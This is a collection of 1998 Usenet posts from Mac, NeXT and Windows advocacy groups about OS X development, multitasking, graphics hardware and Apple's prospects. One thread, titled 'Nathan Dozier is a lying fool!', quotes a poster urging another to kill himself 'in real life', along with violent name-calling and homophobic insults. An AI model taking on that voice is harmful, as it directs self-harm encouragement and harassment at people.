as advanced as 6X, and is a basically a linear shrink of the 5X process
used on the first 604e.
| Are there any .18 process PPC's?
Not currently, unless you are counting Leff (the effective channel length
on the die) as opposed to Ldrawn (the channel length as it appears on the
masks).
--
-- Tim Olson
Message-ID: <35BDEB3E.F30@betabreakers.com>
Date: Tue, 28 Jul 1998 08:16:14 -0700
From: Josiah Fizer <jfizer@betabreakers.com>
Organization: Beta Breakers
MIME-Version: 1.0
Newsgroups: comp.sys.be.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Gassee and Apple's decay (was Re: Apple heading to obscurity?)
References: <B1E200E6-9894@128.138.177.193> <35bcb96a.0@news.depaul.edu> <6piihv$i08$1@hole.sdsu.edu>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
tomlinson wrote:
>
> Jonathan W Hendry (jhendry@shrike.depaul.edu) wrote:
>
> : What kind of tools? Commandline tools? Or first-class BeAPI
> : GUI apps?
>
> Command-line tools. All the usual suspects, I believe--yacc (well,
> bison), lex (well, flex), and so on.
>
> The BeAPI first grew out of CodeWarrior for Macintosh. Since BeOS
> for PowerPC used the (proprietary, closed) object format PEF, it
> was a comparatively simple matter to compile Be applications on
> a Macintosh--indeed I'm fairly sure that with the first BeBoxes,
> this was the _only_ way to build for Be.
>
> BeOS is considerably less open than even Windows NT for this reason.
> At least it is possible to write Win32 applications without being
> forced into buying Microsoft's compiler.
>
> -tomlinson
> --
> Ernest S. Tomlinson - San Diego State University
>
The first BeBoxes used the Hobbit chip for there CPU's, lord only knows
what they did for a compiler.
From: "Jonathan Hendry" <jhendry@cmg.fcnbd.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: 29 Jul 1998 00:54:29 GMT
Organization: Steel Driving Software
Message-ID: <01bdbab5$83c42a40$e5b4dccf@samsara>
References: <joe.ragosta-2807981306530001@wil53.dol.net> <B1E3BF15-4B7AA@206.165.43.1>
Lawson English <english@primenet.com> wrote in article
<B1E3BF15-4B7AA@206.165.43.1>...
> Joe Ragosta <joe.ragosta@dol.net> said:
>
> >New kernel
>
> They knew for over a year (almost from the NeXT purchase) that a new
kernel
> would be in the works. Wasn't NeXT/OpenStep supposed to go to a new
kernel
> even before NeXT was sold to Apple?
No, OpenStep/Mach was more or less in 'maintenance mode', and they
were moving towards mostly being an NT development software vendor.
There was talk about some fancy OS stuff (OO filesystem, etc) back
in the early 90's, but that fell by the wayside pretty quickly.
> >New graphics system
>
> Not really. The X graphics system is merely the underlying graphics
engine
> of DPS without the language.
Testing testing testing.
> >New driver model
>
> I thought that drivers were trivial to do with NeXT?
It's still a new driver model. Rhapsody uses DriverKit. The new
one is different (and incompatible apparently) and called IOKit.
From: John Kheit <jkheit@mediaone.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: 28 Jul 1998 14:09:42 GMT
Organization: UCO & Associates, NH, USA
Message-ID: <6pkm36$9re$1@lwnws01.ne.highway1.com>
References: <gmgraves-2207981543400001@sf-pm5-19-83.dialup.slip.net> <6p7leg$al7$6@hecate.umd.edu> <joe.ragosta-2307982201500001@elk97.dol.net> <6p952e$nl4$1@bunyip.cc.uq.edu.au> <joe.ragosta-2407980806200001@wil49.dol.net> <35B88EBF.3BC076E0@nstar.net> <6pcnrs$2nn$1@nnrp03.primenet.com> <MPG.10241087c3e86ccb9899fd@news.supernews.com> <6pdtgc$kif$2@news.xmission.com> <MPG.1024ffe3de969257989a09@news.supernews.com> <35BB5C55.720E1EDF@planetary.net> <joe.ragosta-2607981539250001@elk62.dol.net> <6pggns$1i1$1@lwnws01.ne.highway1.com> <joe.ragosta-2607982105300001@elk91.dol.net> <6pglve$1i1$6@lwnws01.ne.highway1.com> <Macghod-2607982143050001@sdn-ar-002casbarp275.dialsprint.net> <6pi4m3$42a$1@lwnws01.ne.highway1.com> <joe.ragosta-2707981154130001@wil50.dol.net> <6pie2b$9kh$1@lwnws01.ne.highway1.com> <joe.ragosta-2807980819240001@wil43.dol.net>
joe.ragosta@dol.net (Joe Ragosta) wrote:
> In article <6pie2b$9kh$1@lwnws01.ne.highway1.com>, jkheit@mediaone.net
> wrote:
> > It's similar to an old tort law self defense case. This knight
> > in england was walking down the street and someone told him
> > "your mother sucks beans" or somesuch other nonsense. The
> > knight responded "if it were the hour of something or other,
> > I would kill you." It wasn't that hour, so it was not a threat.
>
> Thanks for proving my point.
>
> My statement was "if I remember correctly, John Kheit said...."
>
> I apparently remembered incorrectly, so what follows the conditional
> doesn't apply.
You're getting the law wrong here is rather commical. The "IIRC" does little
to nothing to ameliorate the libel. If a paper or a person states "IIRC,
John Doe is a child molester that told us he likes to do it and often," and
they are wrong, then John Doe will have quite a successful claim for
defamation. The factual assertion exists despite the "IIRC" and so harm to
reputation and mischaracterization still takes place. The tort law of
assault and defamation are different; as they should be.
--
Thanks, be well, take care, later, John Kheit; self expressed...
______________________________________________________________________
UCO & A S S O C I A T E S ASCII, MIME, PGP, SUN, & NeXTmail OK
mailto:jkheit@uco-iplaw.com
http://people.ne.mediaone.net/jkheit
You're dangerous because you're honest...
From: Josh.McKee@cbns.com (Joshua T. McKee)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: View from the trenches
Date: Tue, 28 Jul 1998 18:56:25 -0600
Organization: Central Business Network Solutions
Message-ID: <Josh.McKee-2807981856260001@pm3a10.rmac.net>
References: <6or4sj$83a$1@supernews.com> <Josh.McKee-1907981006510001@pm3a16.rmac.net> <6ot75m$16j$1@lwnws01.ne.highway1.com> <Josh.McKee-1907981309250001@pm3a13.rmac.net> <6ovhg8$qsp@newsb.netnews.att.com> <Josh.McKee-2107981856040001@pm3a15.rmac.net> <6p45f7$l73$1@nnrp1.dejanews.com> <Josh.McKee-2307981802510001@pm3a8.rmac.net> <6p9ami$olq$1@nnrp1.dejanews.com> <Josh.McKee-2407981743100001@pm3a13.rmac.net> <6pc9b1$8qd$1@nnrp1.dejanews.com> <Josh.McKee-2507980855240001@pm3a23.rmac.net> <6ph9u7$fp5$1@nnrp1.dejanews.com> <joe.ragosta-2707981035100001@wil51.dol.net> <35BC9473.A18302A8@nstar.net> <joe.ragosta-2707981114320001@wil47.dol.net> <35bd8fbd.0@nnrp1.news.uk.psi.net>
NNTP-Posting-Date: 29 Jul 1998 00:54:16 GMT
In article <35bd8fbd.0@nnrp1.news.uk.psi.net>, richard@brainstorm.co.uk.
(Richard Frith-Macdonald) wrote:
> Why doesn't everyone drop this discussion anyway? MacOS-X will definately have
> proper multitasking, so it's rather pointless wasting time trying to defend
> cooperative multitasking (it has its place, but an operating system kernel
> generally isn't it).
Why can't you guys figure out that we're not defending CMT? All we're
doing is saying that the Macs implementation of CMT works much better than
most PC advocates give it credit for. And, IMO, works well enough for
most end users.
Josh
From: Josh.McKee@cbns.com (Joshua T. McKee)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: View from the trenches
Date: Tue, 28 Jul 1998 18:53:16 -0600
Organization: Central Business Network Solutions
Message-ID: <Josh.McKee-2807981853170001@pm3a10.rmac.net>
References: <6or4sj$83a$1@supernews.com> <Josh.McKee-1907981006510001@pm3a16.rmac.net> <6ot75m$16j$1@lwnws01.ne.highway1.com> <Josh.McKee-1907981309250001@pm3a13.rmac.net> <6ovhg8$qsp@newsb.netnews.att.com> <Josh.McKee-2107981856040001@pm3a15.rmac.net> <6p45f7$l73$1@nnrp1.dejanews.com> <Josh.McKee-2307981802510001@pm3a8.rmac.net> <6p9ami$olq$1@nnrp1.dejanews.com> <Josh.McKee-2407981743100001@pm3a13.rmac.net> <6pc9b1$8qd$1@nnrp1.dejanews.com> <Josh.McKee-2507980855240001@pm3a23.rmac.net> <6pd4o8$pn2$1@bunyip.cc.uq.edu.au> <Josh.McKee-2607981000010001@pm3a6.rmac.net> <6pflf6$9t8$1@bunyip.cc.uq.edu.au> <6pg1bg$5vr@news1.panix.com>
NNTP-Posting-Date: 29 Jul 1998 00:51:07 GMT
On Mon, 27 Jul 1998 02:28:05 +1000, Christopher Smith <drsmithy@usa.net> wrote:
>unacceptable. Now, I don't have MSMail to try and connect to a non-existant
>server (hell, I don't even have '95 installed), but I'm willing to bet it
>doesn't render the machine useless for 20 minutes at a time.
I seem to have missed the original post.
It doesn't matter if it renders it unusable for 20 mintues at a time or
not. It is a demonstration that shows that Windows 95's "PMT" can be
blocked...just like the Macs. And it certainly ties up the system for a
long time...long enough to kill a file transfer in the background. It
also demonstrates that an application could be written with the sole
intent to block the PMT...sort of a virus in a small way.
Josh
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: 28 Jul 98 18:15:14 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B1E3C5D8-64E6B@206.165.43.1>
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Jon G. Temple <jontemple@earthlink.net> said:
>Let's take a look:
>
>* a new imaging model -- a rehash of QuickDraw with some GX code thrown
>in. Also
>support has to be added for the original Display Postscript model that
>underlies
>OpenStep imaging --- instead, QuickDraw services will be used.
Actually the only GX in "enhanced QuickDraw" will be the ATSUI text
services which are a minimal subset of GX typography - the equivalent of a
GX paragraph shape (the oft called for, never created extension to GX
shapes -GX provides ATSUI services, but only on a per-line basis, not
paragraph).
GX uses a 3x3 transform matrix that allows the creation and editing of
perspectivized text and graphics. eQD uses the same 3x2 matrix of Display
PostScript.
GX allows one to manipulate a shape -text, vector or bitmap- in a color
space different that the one that defines the shape AND to manipulate each
color channel seperately using a different composite mode AND to specify
the percentage of each color channel that is applied to the image as it
passes through the GX imaging pipeline. A 5x4 matrix is defined for the
source, destination and result (composited) images so that one can do
extremely powerful color space manipulations merely by drawing the shape.
DPS-NeXT has its own color manipulation capabilities. There's some overlap
with GX, but not that much from what I have seen. Especially where bitmaps
are concerned.
GX allows one to provide more than one drawing destination (viewport) for
the same shape or set of shapes. DPS/eQD does not. A single
"DrawShape(theShape)" command might draw a bitmap into a dozen different
locations with different scalings and other transformations. Not so with
DPS/eQD.
GX uses a fixed point coordinate system, which is useful for older (68K)
Macs. eQD uses the floating point coordinate system of DPS.
GX uses quadratic beziers as its base graphics type. eQD/DPS use cubic
beziers.
enhanced QD owes far more to DPS than it does to GX. Far, FAR more.
What is sad is that GX (or an enhanced GX that merges the capabilities of
eQD and GX) would provide a universal graphics format for ALL color Macs,
68K and PPC.
But Apple's vision apparently doesn't include such a unique idea.
"No-one is using GX and therefore we won't either" seems to be the current
stance at Apple.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: "Edwin E. Thorne" <ethorne@no.spam>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.ms-windows.advocacy
Subject: Re: Nathan Dozier is a lying fool!
Date: Tue, 28 Jul 1998 20:24:19 -0600
Organization: ethorne@no.spam
Message-ID: <35BE87D0.6485F97A@no.spam>
References: <35B89FC6.8661DDD6@rauland.com> <B1E18D43-16D1C@204.32.201.34>
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Nathan Dozier wrote:
>
> On Fri, Jul 24, 1998 7:52 AM, Edwin E. Thorne
> <mailto:edwin.thorne@rauland.com> wrote:
> > Better yet, we should kill off this dweeb like we killed off Rizzo. This
> fukher's posts have no content, and yet he has the gall to attack people
> like
> Joe R and Jason S. We really need to put a bullet into this sick dogs head
> (cyberspatially speaking, not in real life)
>
> You are a lying scumbag! I NEVER attacked either Joe Ragosta or Jason
> S. You say MY posts have no content? What have YOU posted besides
> these idiotic ravings?
>
> Why don't you kill yourself? In real life. Then my posts won't bother
> you. It's the ultimate kill file.
>
> Edwin
>
> Dont hold back now, Anton. Or is this the Edwin personality? Or maybe its
> the "macsbug" personality. Or maybe LInda? Or Jane?
Why don't you go to a gay news group? You won't find what you're looking for
here, and you certainly won't get it from me.
I see that you post to the same NGs as Steve Sullivan does. Are you his "roommate?"
From: Pulsar <tokarek@uiuc.edu>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Tue, 28 Jul 1998 10:59:25 -0500
Organization: University of Illinois at Urbana-Champaign
Message-ID: <Pine.SOL.3.96.980728104955.17041G-100000@ux8.cso.uiuc.edu>
References: <not-2407981240410001@ip-26-162.phx.primenet.com> <Pine.SOL.3.96.980724150050.26891B-100000@ux8.cso.uiuc.edu> <not-2407981816490001@ip-26-140.phx.primenet.com> <Pine.SOL.3.96.980725232001.7987D-100000@ux7.cso.uiuc.edu> <not-2607981725340001@ip-26-178.phx.primenet.com> <Pine.SOL.3.96.980726224322.27762B-100000@ux8.cso.uiuc.edu> <not-2707981327520001@ip-26-031.phx.primenet.com> <Pine.SOL.3.96.980727162726.19424A-100000@ux7.cso.uiuc.edu> <joe.ragosta-2807980851500001@wil43.dol.net>
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On Tue, 28 Jul 1998, Joe Ragosta wrote:
> In article <Pine.SOL.3.96.980727162726.19424A-100000@ux7.cso.uiuc.edu>,
> Pulsar <tokarek@uiuc.edu> wrote:
>
> > On Mon, 27 Jul 1998, Michael M. Eilers wrote:
> >
<snip>
> > 3) The PCP has a faster memory bus. (60Mhz vs. 50MHz)
>
> The 7500 has interleaved memory which makes up part of this difference.
This is true in general assuming his memory is setup for interleaving.
(I don't know why anybody would try to avoid it).
> > While the 7500 has a much wider and faster path directly to VRAM, the PCP
> > has a graphics accelerator. That means that the processor must do all the
> > work on the 7500 whereas the dedicated graphics chip does some of the work
> > on the PCP. This results in a trade off. The 7500 will be faster for
> > things that are bandwidth limited. The PCP will be faster for things that
> > can be done off the main processor and on the graphics chip.
> >
> > Since the 7500 has a slower processor to start with, it can't do the
> > graphics calculations as fast as the PCP can when things aren't
> > accelerated.
>
> The interesting thing is how this all balances out.
>
> I have a 7500 with 2 MB VRAM and a 604e/200 upgrade card. I got a good
> deal on a Millenium II video card, so I plugged it in and did some
> benchmarks.
>
> By MacBench, my 7500's video was about 30% faster than the Millenium II.
> Furthermore, the Millenium II was visibly slower in screen redraws. So I
> sold it and used the money for 2 MB more VRAM for the 7500 and a big hard
> drive.
>
> Apparently, the faster video access to the 7500's on board graphics
> processor makes up for the higher performance of the Millenium II.
I got to compare this directly on my 8500. I have the on board
graphics with 4 megs of VRAM and an Xclaim 3D with 4 megs of SGRAM.
Without the graphics card using the unaccelerated motherboard graphics,
games like Quake, Dark Colony, Warcraft II, Marathon, Connand&Conquer and
others are noticably faster than with the graphics card. (Though this
isn't true for the 3D accelerated version of Quake).
Text handling in general (drawing, selecting, and moving) is
noticeably faster on the motherboard graphics.
Scrolling is _much_ faster with the graphics card. Moving windows around
is _much_ faster with the graphics card.
Everything else is mostly a toss up.
According to MacBench, the graphics card is somewhat faster overall. When
you break down the tests, text is slower, line drawing is slower, filled
shapes are marginally faster, CopyBits is faster, Pictures is about the
same. It's a trade off. Overall, I'm happier with the graphics card since
scrolling and window moving (I use DragAnyWindow for live updating
windows) feel so much faster.
An accelerated AGP card would soundly kick the arses of both.
Ryan Tokarek
<tokarek@uiuc.edu>
<http://www.ews.uiuc.edu/~tokarek>
From: "Earl Malmrose" <earl.malmrose@nospam.sierra.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: View from the trenches
Date: Tue, 28 Jul 1998 18:43:43 -0700
Organization: Sierra On-Line, Inc.
Message-ID: <6plvad$dgf$1@plo.sierra.com>
References: <6or4sj$83a$1@supernews.com> <Josh.McKee-1907981006510001@pm3a16.rmac.net> <6ot75m$16j$1@lwnws01.ne.highway1.com> <Josh.McKee-1907981309250001@pm3a13.rmac.net> <6ovhg8$qsp@newsb.netnews.att.com> <Josh.McKee-2107981856040001@pm3a15.rmac.net> <6p45f7$l73$1@nnrp1.dejanews.com> <Josh.McKee-2307981802510001@pm3a8.rmac.net> <6p9ami$olq$1@nnrp1.dejanews.com> <Josh.McKee-2407981743100001@pm3a13.rmac.net> <6pc9b1$8qd$1@nnrp1.dejanews.com> <Josh.McKee-2507980855240001@pm3a23.rmac.net> <MPG.102417abebbe2be9989a03@news.supernews.com> <Josh.McKee-2607980957160001@pm3a6.rmac.net> <6phe0p$kdi$1@nnrp1.dejanews.com> <Josh.McKee-2707982204590001@pm3a20.rmac.net> <6pl2c9$1i5$1@plo.sierra.com> <Josh.McKee-2807981753150001@pm3a10.rmac.net>
NNTP-Posting-Date: 29 Jul 1998 01:53:17 GMT
Joshua T. McKee wrote in message ...
>I say Windows 95's is poor for two reasons:
>
>1. It can be blocked.
As can any OS. All OSes have critical sections that, to a point, block parts
of the OS at times.
>2. Window management is done by the individual apps and not the OS. If
>the app hangs, the screen display is "frozen". The OS is still
>multitasking, but from an end user's point of view, they get the
>impression it is hung.
This is where Win95 is better than MacOS. Yes, a crashed app can stop
displaying, but other apps aren't blocked, only the crashed app. Alt-Tab to
another app or click on a button on the task bar and the rest of the system
continues to run. When one Mac app crashes, *all* apps are blocked until the
crashed app is dealt with.
>Remember, this discussion isn't about the merits of CMT vs. PMT or PMT vs.
>CMT. It is about the end user experience provided by both. And when it
>comes down to it, regardless of how much work the programmer had to do, I
>feel that both are very comparable to the end user.
I'll agree with you that Win95 and MacOS do provide similar end-user
experiences for the most part. Its in the fringe cases that don't happen
very often in real use that Win95 does win out.
Message-ID: <35BE81BF.10BE@launchnet.com>
From: Terry Haggin <terry@launchnet.com>
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Subject: Re: '97 Mac entrant feels shafted <--but isn't
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R0807982323110001@news.enetis.net> <6o5plf$2j3$1@nnrp1.dejanews.com> <stone-ya02408000R1007981831080001@news.enetis.net> <35a6c1d5.0@news.depaul.edu> <6ol3nq$14g$1@vixen.cso.uiuc.edu> <Josh.McKee-1807981007290001@pm3a21.rmac.net> <bux-2007981300570001@dial-tulip-20.bway.net> <Josh.McKee-2107981853200001@pm3a15.rmac.net> <joe.ragosta-2207980951060001@wil116.dol.net> <Josh.McKee-2307981818520001@pm3a8.rmac.net> <joe.ragosta-2307982202340001@elk97.dol.net> <Josh.McKee-2307982128320001@pm3a20.rmac.net> <MPG.1022d0677df988199899ed@news.supernews.com> <Josh.McKee-2507980952240001@pm3a23.rmac.net> <MPG.102459a86c0084e0989a04@news.supernews.com> <Josh.McKee-2607980952420001@pm3a6.rmac.net> <MPG.10256a18e0cf88e989a1d@news.supernews.com>
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Date: Wed, 29 Jul 1998 01:53:45 GMT
NNTP-Posting-Date: Tue, 28 Jul 1998 18:53:45 PDT
Organization: InReach Internet
Hi,
I have a ton on great old NeXT apps on my Cube and would like to know if
I can run them on Rhapsody or OS X?
Those NeXT apps were the best I have ever used and it is hard to rum the
on my super but sooooo so old cube. And does anyone have a copy of the
Developers Rhapsody that they would like to sell/give to me?
I would love to see it work on my Pewforma 6400.
E-mail me or post here, Terry Haggin
Message-ID: <35BE8245.381E@launchnet.com>
From: Terry Haggin <terry@launchnet.com>
MIME-Version: 1.0
Newsgroups: comp.sys.mac.system,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Will my great old NeXT Apps work on Rhapsody/ OS X? Will my great old NeXT apps work on Rhapsody/ OS X?
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R0807982323110001@news.enetis.net> <6o5plf$2j3$1@nnrp1.dejanews.com> <stone-ya02408000R1007981831080001@news.enetis.net> <35a6c1d5.0@news.depaul.edu> <6ol3nq$14g$1@vixen.cso.uiuc.edu> <Josh.McKee-1807981007290001@pm3a21.rmac.net> <bux-2007981300570001@dial-tulip-20.bway.net> <Josh.McKee-2107981853200001@pm3a15.rmac.net> <joe.ragosta-2207980951060001@wil116.dol.net> <Josh.McKee-2307981818520001@pm3a8.rmac.net> <joe.ragosta-2307982202340001@elk97.dol.net> <Josh.McKee-2307982128320001@pm3a20.rmac.net> <MPG.1022d0677df988199899ed@news.supernews.com> <Josh.McKee-2507980952240001@pm3a23.rmac.net> <MPG.102459a86c0084e0989a04@news.supernews.com> <Josh.McKee-2607980952420001@pm3a6.rmac.net> <MPG.10256a18e0cf88e989a1d@news.supernews.com>
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Date: Wed, 29 Jul 1998 01:55:58 GMT
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Organization: InReach Internet
Hi,
I have a ton on great old NeXT apps on my Cube and would like to know if
I can run them on Rhapsody or OS X?
Those NeXT apps were the best I have ever used and it is hard to rum the
on my super but sooooo so old cube. And does anyone have a copy of the
Developers Rhapsody that they would like to sell/give to me?
I would love to see it work on my Pewforma 6400.
E-mail me or post here, Terry Haggin
From: "Jon G. Temple" <jontemple@earthlink.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Tue, 28 Jul 1998 19:20:08 -0400
Organization: jontemple@earthlink.net
Message-ID: <35BE5CA5.37FB13F0@earthlink.net>
References: <35ba359f.0@news.depaul.edu> <B1DFC422-5CEC1@206.165.43.15> <joe.ragosta-2607980812040001@elk85.dol.net> <Josh.McKee-2607981711240001@pm3a17.rmac.net> <joe.ragosta-2607982033560001@elk91.dol.net> <35BDEEED.DF7F517E@earthlink.net> <joe.ragosta-2807981153280001@0.0.0.0> <6pl3ke$1vj$1@plo.sierra.com> <35be3b66.0@news.depaul.edu>
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Jonathan W Hendry wrote:
> In comp.sys.next.advocacy Earl Malmrose <earl.malmrose@nospam.sierra.com> wrote:
> > Joe Ragosta wrote in message ...
> > >
> > >Just as Microsoft and Intel will be obsoleting old machines months after
> > >they ship.
>
> > Name one product.
>
> Hm. Are WinCE devices upgradable?
Wow --- you really have to reach. I wasn't aware that your argument was quite THAT
weak.
So:
Hm. I bet WinCE devices are probably in a better boat than the Newton. Remember
that?
Please keep the OS discussion on desktop OSes, not PDAs, can openers, digital
watches, or otherwise.
From: atticus@mindspring.com (Andy Walton)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Window Shade: *please* make this go away
Date: Tue, 28 Jul 1998 22:17:32 -0400
Organization: Waltonschauung
Message-ID: <atticus-2807982217330001@user-37kb94k.dialup.mindspring.com>
References: <6oqr65$ept$1@supernews.com> <stone-ya02408000R1807981951280001@news.enetis.net> <6pktoe$qhd$1@walter.cs.umd.edu>
Ccb%xGQshhi|g@QU2$
If you want to use it please also use this Authorline.
In article <6pktoe$qhd$1@walter.cs.umd.edu>, seanl@cs.umd.edu (Sean Luke) wrote:
:After a reasonable review, I've concluded that Window Shade is the most
:ill-conceived GUI element for Apple to adopt in the last decade. I love
:the Mac, but I find it disturbing that this feature even *has* supporters.
I appreciate your position, but wonder about the subject line -- why "make
this go away?" No one is forcing you to use the box or double-click the
title bar.
For my part, I usually use WindowShade to get one document out of the way
to get to another. For that purpose, it excels.
:These icons do not have an application tier. Windows does something
:similar, but puts them into a bar (actually, not a bad idea:
I have to disagree with the wisdom of Windows' implementation; with more
than a dozen or so windows open, the tiles on the taskbar become so small
as to be useless. How much information can you get from a button labeled
"A..."?
: - miniaturized windows are automatically spatially differentiated
: from each other, so they can be picked easily
I like the idea of adding a "tile" and "cascade" function -- which some
apps already have -- at the OS level. Another option could be to add a
list of open windows under each application, another feature found in many
apps -- have a "windows" menu, like the application menu, but with the
list changing by application.
: - miniaturized windows are differentiated from the main windows,
: and placed out in the periphery
I don't know if that's necessarily a definition of a useful minimalization
scheme; there's only so much periphery to go around, and WindowShaded
titlebars at least have enough space for a useful title.
--
"The two most common elements in the universe are hydrogen and stupidity"
-- Harlan Ellison
--------------------------------------------------------------------------
Andy Walton * atticus@mindspring.com * http://atticus.home.mindspring.com/
From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: comp.sys.mac.system,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: '97 Mac entrant feels shafted <--but isn't
Date: 29 Jul 1998 03:18:00 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <6pm498$gaj@newsb.netnews.att.com>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <joe.ragosta-2307982202340001@elk97.dol.net> <J <MPG.1028181a20564392989a35@news.supernews.com>
Originator: gupta@tlctest
Donald Brown <don.brown@cesoft.com> wrote:
>
>And as for "hire more people", not only are there the questions about
>managing the new hirees, but there is a new imperitive at Apple, Thou
>Shalt Not Lose Money. Hiring people is expensive. It's likely to not
>pay off in the next quarter. A great deal of Apple's reviving reputation
In my experience, the last thing you want to do with a project that is
under time pressure is to hire new people. Usually, one cannot find the
kind of people that one could usefully hire in such a situation.
The time and distraction to the people already working on the project
to bring the others upto speed can be very expensive to the project.
What you might be able to do is to bring in a few experts as consultants.
Their focus is to be on specific tasks; and they are able to start working
usefully very soon. This kind of talent can be quite expensive, however.
-arun gupta
From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: View from the trenches
Date: 29 Jul 1998 03:21:46 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <6pm4ga$gaq@newsb.netnews.att.com>
References: <6or4sj$83a$1@supernews.com> <35bd8fbd.0@nnrp1.news.uk.psi.net> <6ple2d$ea2@newsb.netnews.att.com> <rbarrisEwtqq0.G9F@netcom.com>
Originator: gupta@tlctest
Robert Barris <rbarris@netcom.com> wrote:
>>
>>BTW, a colleague just unpacked a new HP Kayak.
>>This is a Pentium II 266 MHz tower The booklet says,
>>average power consumption (not doing a file transfer) :
>> Windows 95 : 32 W
>> Windows NT : 45 W
>>
>>Was wondering why the difference ? Perhaps NT is swapping all the time :-)
>
>No, NT does not yet have power management in laptops.
This is not a laptop -- it is a mini-tower.
-arun gupta
From: arlist@my-dejanews.com
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: Wed, 29 Jul 1998 03:29:52 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6pm4vg$1ud$1@nnrp1.dejanews.com>
References: <gmgraves-2207981543400001@sf-pm5-19-83.dialup.slip.net> <6p7leg$al7$6@hecate.umd.edu> <joe.ragosta-2307982201500001@elk97.dol.net> <6p952e$nl4$1@bunyip.cc.uq.edu.au> <joe.ragosta-2407980806200001@wil49.dol.net> <35B88EBF.3BC076E0@nstar.net> <6pcnrs$2nn$1@nnrp03.primenet.com> <MPG.10241087c3e86ccb9899fd@news.supernews.com> <6pdtgc$kif$2@news.xmission.com> <MPG.1024ffe3de969257989a09@news.supernews.com> <35BB5C55.720E1EDF@planetary.net> <joe.ragosta-2607981539250001@elk62.dol.net> <6pggns$1i1$1@lwnws01.ne.highway1.com> <joe.ragosta-2607982105300001@elk91.dol.net> <6pglve$1i1$6@lwnws01.ne.highway1.com> <joe.ragosta-2707980631070001@elk49.dol.net> <macghod-2707981159350001@sdn-ar-001casbarp306.dialsprint.net> <slrn6rq9lp.na3.jason@jhste1.dyn.ml.org> <MPG.1027927fcc9f1d52989a2f@news.supernews.com> <6pkn6c$9re$4@lwnws01.ne.highway1.com> <6pl3r3$b4o$1@nnrp1.dejanews.com> <35BE3089.76CC988A@ericsson.com>
In article <35BE3089.76CC988A@ericsson.com>,
Michael Peck <Michael.Peck@ericsson.com> wrote:
> By the way, I noticed that you actually changed the public speech issue
> surrounding the Simpson trial to a reference to the actual murder. Very
> dishonest of you.
>
> MJP
>
I don't think the issue J.K. raised regarding the Simpson trial was one of
public speech, but rather of the rights and reasons an injured party has for
bringing suit. I refer you to the thread.
But of course I'm wasting my time trying to clarify this matter for you.
Let me just say that my lawyer has been informed of your defamatory and
libelous statement that I am dishonest, and is preparing an ironclad case
against you and your entire family, and everyone who has ever had the
misfortune to know you.
--------------
Arlis R. Tyner - arlis@iquest.net - http://members.tripod.com/~arlis
"Don't worry about people stealing your ideas. If your ideas are any good,
you'll have to ram them down people's throats" - Howard Aiken
--------------
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
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From: Ari <ari@loa.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Tue, 28 Jul 1998 23:36:39 -0400
Organization: Log On America, Inc.
Message-ID: <35BE98C7.D146F61B@loa.com>
References: <35ba359f.0@news.depaul.edu> <B1DFC422-5CEC1@206.165.43.15> <joe.ragosta-2607980812040001@elk85.dol.net> <Josh.McKee-2607981711240001@pm3a17.rmac.net> <joe.ragosta-2607982033560001@elk91.dol.net> <35BDEEED.DF7F517E@earthlink.net> <joe.ragosta-2807981153280001@0.0.0.0> <6pl3ke$1vj$1@plo.sierra.com> <joe.ragosta-2807981449100001@wil73.dol.net>
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Joe Ragosta wrote:
> In article <6pl3ke$1vj$1@plo.sierra.com>, "Earl Malmrose"
> <earl.malmrose@nospam.sierra.com> wrote:
>
> > Joe Ragosta wrote in message ...
> > >
> > >Just as Microsoft and Intel will be obsoleting old machines months after
> > >they ship.
> >
> > Name one product.
>
> Well, anything based on ISA for starters.
>
> --
> Regards,
> Joe Ragosta
> http://www.dol.net/~Ragosta/complmac.htm
>
ISA won't be obsoleted, MS just won't bother including ISA drivers with the OS.
Motherboard manufacturers (there are MANY) can include ISA slots, but the
machines cannot be sold with cards in those slots if they want the PC99
sticker. ISA is being phased out, but the motherboards are not obsolete. 3rd
parties can write drivers for as long as they like.
As crazy as this may sound, there seems to be much less chaos on the x86 side
of the world when compared to these G3 vs 604e vs 603e (and their chipsets)
support issues that Apple is dealing with. When an intel OS is released, you
assume it will run on all x86 processors fast enough for the job (from a 486 to
a PII Xeon).
